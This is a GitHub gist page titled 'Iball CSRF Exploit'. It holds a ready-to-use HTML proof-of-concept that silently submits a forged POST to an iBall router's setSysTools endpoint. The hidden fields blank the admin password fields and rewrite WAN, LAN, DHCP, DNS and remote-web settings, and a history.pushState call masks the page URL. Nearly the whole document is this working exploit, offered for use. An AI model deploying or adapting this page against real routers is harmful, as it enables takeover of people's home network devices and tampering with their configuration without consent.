Skip to content

Instantly share code, notes, and snippets.

@Saket-taneja

Saket-taneja/iballcsrf.html

Created June 27, 2020 15:15
Show Gist options
  • Save Saket-taneja/4dda4b2df5aa0973a7160bb6bf8875e0 to your computer and use it in GitHub Desktop.
Save Saket-taneja/4dda4b2df5aa0973a7160bb6bf8875e0 to your computer and use it in GitHub Desktop.
Download ZIP
Iball CSRF Exploit
Raw
iballcsrf.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/goform/setSysTools" method="POST">
<input type="hidden" name="module1" value="loginAuth" />
<input type="hidden" name="newPwd" value="" />
<input type="hidden" name="oldPwd" value="" />
<input type="hidden" name="module2" value="wanAdvCfg" />
<input type="hidden" name="wanServerName" value="" />
<input type="hidden" name="wanServiceName" value="excitel" />
<input type="hidden" name="wanMTU" value="1480" />
<input type="hidden" name="macClone" value="default" />
<input type="hidden" name="wanMAC" value="00&#58;1E&#58;A6&#58;E6&#58;EC&#58;D8" />
<input type="hidden" name="wanSpeed" value="Auto" />
<input type="hidden" name="module3" value="lanCfg" />
<input type="hidden" name="lanIP" value="192&#46;168&#46;1&#46;1" />
<input type="hidden" name="lanMask" value="255&#46;255&#46;255&#46;0" />
<input type="hidden" name="dhcpEn" value="true" />
<input type="hidden" name="lanDhcpStartIP" value="192&#46;168&#46;1&#46;201" />
<input type="hidden" name="lanDhcpEndIP" value="192&#46;168&#46;1&#46;240" />
<input type="hidden" name="lanDns1" value="192&#46;168&#46;1&#46;1" />
<input type="hidden" name="lanDns2" value="" />
<input type="hidden" name="module4" value="remoteWeb" />
<input type="hidden" name="remoteWebEn" value="false" />
<input type="hidden" name="remoteWebType" value="any" />
<input type="hidden" name="remoteWebIP" value="" />
<input type="hidden" name="remoteWebPort" value="8080" />
<input type="hidden" name="module5" value="sysTime" />
<input type="hidden" name="sysTimeZone" value="49" />
<input type="hidden" name="module6" value="softWare" />
<input type="hidden" name="autoMaintenanceEn" value="true" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment